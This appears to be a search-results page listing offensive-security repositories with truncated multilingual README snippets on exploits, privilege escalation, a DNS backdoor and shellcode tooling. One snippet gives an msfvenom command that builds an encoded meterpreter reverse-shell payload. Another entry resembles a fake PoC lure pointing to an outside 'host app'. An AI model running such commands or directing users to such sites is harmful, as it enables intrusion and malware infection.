244223 matches found
wafpass
WAFPASS ██╗ ██╗ █████╗ ███████╗██████╗ █████╗ ███████╗███████╗ ██║ ██║██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔════╝██╔════╝ ██║ █╗ ██║███████║█████╗ ██████╔╝███████║███████╗███████╗ ██║███╗██║██╔══██║██╔══╝ ██╔═══╝ ██╔══██║╚════██║╚════██║ ╚███╔███╔╝██║ ██║██║ ██║ ██║ ██║███████║███████║ ╚══╝╚══╝ ╚═╝...
hyperv_local_dos_poc
Hyper-V DoS PoC。 これはVisual Studio 2019ドライバプロジェクトのコードファイルです。 1. ドライバをコンパイルします。 2. 次のコマンドを使用して、ゲストOSのネストされた仮想化を有効にします: Set-VMProcessor -VMName -ExposeVirtualizationExtensions $true 3. ゲストOS内でドライバを実行します。ホストOSが再起動されるか、HYPERVISORERRORコードでBSODが発生します。 バグはHyper-V（Windows Server 2019、最新パッチ適用済みWindows 10、お...
Eris
Eris Erisは、GoとFyneで書かれたデスクトップPGPワークステーションです。 キーを暗号化されたVaultに保存し、署名、暗号化、復号、検証のためのクリーンなUIを提供します。 機能 保存されたキー用の暗号化されたローカルVault 独自のキーペアの生成 連絡先の公開キーのインポートと管理 メッセージの暗号化と署名 受信メッセージの復...
WIndows-7-automated-exploitation-using-metasploit-framework-
此存储库没有 README。...
vss-fr2system
vss-fr2system 两个小型工具，可将 Windows 上的任意文件读取 漏洞转化为 SYSTEM Shell 。 vssfreeze/ —— 以标准用户 身份创建卷影副本，然后保持其打开状态，以便你有足够时间从中读取 SAM/SECURITY/SYSTEM 配置单元 fr2system/ —— 获取你复制出的配置单元，离线解密本地 NTLM 哈希，并弹出 SYSTEM Shell 配合任何以 SYSTEM 身份运行（或能够读取 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN... 路径）的任意文件读取原语，这在默认的...
tiny_tracer
tinytracer A Pin Tool for tracing: API calls, including input and output of selected functions defined local functions, and functions from statically linked libraries selected instructions: RDTSC, CPUID, INT inline system calls, including parameters of selected syscalls transition between section...
CVE-2026-42978-PoC-Research
CVE-2026-42978 面向 AI 安全工具的 Windows 推送通知模块 下一代 AI 安全生态系统、多协议终端与自主代理套件 网站 · 产品文档 · 宿主应用 · 社区聊天 网站导航： 首页 · 更新 · 下载 · 模块 官方宿主应用 产品： AI Security Tool 站点： zerodayevil.github.io 文档： https://zerodayevil.github.io/ai-security-tool 本模块是面向 AI Security Tool 的经审核分析报告与安全检查配置 。 仅使用项目站点或官方目录中列出的模块。请在经批准的应用程序内...
ddoor
ddoor cross platform backdoor using dns txt records What is ddor? ddor is a cross platform light weight backdoor that uses txt records to execute commands on infected machines. Features Allows a single txt record to have seperate commands for both linux and windows machines List of around 10 publ...
PhantomCtx
PhantomCtx PhantomCtxは、アクティベーションコンテキストハイジャックを自動化し、署名済み実行ファイル（例：Microsoft、Adobe、Mozilla）の大部分に任意のDLLをロードすることを目的としたツールです。 このローダーは、従来のDLLハイジャック &...
HookDump
HookDump EDR関数フックダンプ 詳細については、Zeroperilのブログ記事を参照してください https://zeroperil.co.uk/hookdump/ ビルド方法 ビルドにはVisual Studio 2019（Community Editionで可）とCMakeが必要です。バッチファイルConfigure.batを実行すると、Visual Studioソリューションを含む2つのビルドディレクトリが作成されます。 正しいCMakeコマンドラインを使用すれば、MinGWでもビルドできる可能性がありますが、未テストのため結果は保証できません。...
CVE-2019-0859-1day-Exploit
CVE-2019-0859-1day-エクスプロイト CVE-2019-0859 1dayエクスプロイト 対象OS : Windows 7 x64 ServicePack1 7601 このエクスプロイトは、2019年3月のセキュリティ更新プログラムが適用された環境が必要です。以前の更新プログラムでは現在チェックされていません。 エクスプロイトの信頼性は100%ではありません。時々エクスプロイトが完全に動作しないことがあります。その場合は、再度試してください。...
CVE-2024-34474
CVE-2024-34474 Clario 2024-04-11 までの Windows Desktop 版は、%PROGRAMDATA%\Clario のアクセス許可が弱く、そこから SYSTEM として DLL を読み込もうとします。 説明: Clario for Windows デスクトップアプリケーションは、ユーザーがアンチウイルススキャンを実行すると、C:\ProgramData\Clario\ および C:\ProgramData\Clario\Engines\ から存在しない DLL ライブラリを読み込もうとします。DLL...
Potato
Potato Windows 7、8、10、Server 2008、Server 2012 上的权限提升 工作原理 Potato 利用 Windows 中的已知问题来获取本地权限提升，即 NTLM 中继（具体为 HTTP-SMB 中继）和 NBNS 欺骗。 使用下面概述的技术，未提权用户可以在默认配置下获得对 Windows 主机的“NT AUTHORITY\SYSYTEM”级别访问权限。 该漏洞利用由 3 个主要部分组成，所有这些部分都可以通过命令行开关进行一定程度的配置： 1. 本地 NBNS 欺骗器 NBNS 是一种用于名称解析的广播 UDP 协议，常用于 Windows...
CVE-2021-1732
CVE-2021-1732 CVE-2021-1732 Microsoft Windows 10 ローカル権限昇格の研究とPoc/Exploit開発 影響を受けるシステムとアプリケーションバージョン Windows Server, version 20H2 Server Core Installation Windows 10 Version 20H2 for ARM64based Systems Windows 10 Version 20H2 for 32bit Systems Windows 10 Version 20H2 for x64based Systems Window...
CVE-2019-0232
CVE-2019-0232 — Apache Tomcat CGIサーブレットRCE 認可されたCTF/ペネトレーションテスト専用の学習用PoCです。 このツールを、自分が所有していない、または明示的な書面による許可を得ていないシステムに対して実行することは違法です。 脆弱性概要 CVE-2019-0232 は、Windows上のApache Tomcatにおけるリモートコード実行の脆弱性です。...
Check-vuln-CVE-2019-0708
CVE-2019-0708 認証不要のCVE-2019-0708「BlueKeep」スキャナーPoC - @JaGoTu と @zerosum0x0 作。 MetasploitモジュールPR: https://github.com/rapid7/metasploit-framework/pull/11869 このリポジトリについて rdesktopのフォークであるスキャナーは、ホストがCVE-2019-0708（Microsoft Windows Remote Desktop...
CVE-2021-34527
CVE-2021-34527 CVE-2021-34527 は、「PrintNightmare」と呼ばれる重要なリモートコード実行およびローカル特権昇格の脆弱性です。 リモートコード実行機能のための概念実証エクスプロイト（Python、C++）と、ローカル特権昇格のためのC版が公開されています。純粋なPowerShellでのネイティブ実装を見たことがなかったため、エクスプロイトを改良・再構築してみようと思いました。 このPowerShellスクリプトは、PrintNightmare攻撃手法を使用してローカル特権昇格（LPE）を実行します。 これはWindows Server...
ms09-050_CVE-2009-3103
ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 一行命令生成/创建Windows漏洞载荷 msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ 一行命令启动meterpreter msfconsole -x "u...
SILVERPICK
SILVERPICK 版本 v1.1 简介 项目 SILVERPICK 是一个 Windows 用户态 Shellcode 开发框架 WUMSDF，其唯一目的是让能力开发者能够以简单的方式使用 C/C++ 为 Windows x64 构建 位置无关代码 PIC 二进制块，从而降低此类开发工作的成本。 它衍生自项目 WILDBEAST，因此依赖： 1. 使用 Visual Studio Code 作为代码编辑器 2. 使用 MinGW-w64 工具链作为编译工具链 3. 使用 GNU Make 作为构建系统 环境搭建 你可以从这里找到环境搭建说明：GCC-Clang-Setup-Windo...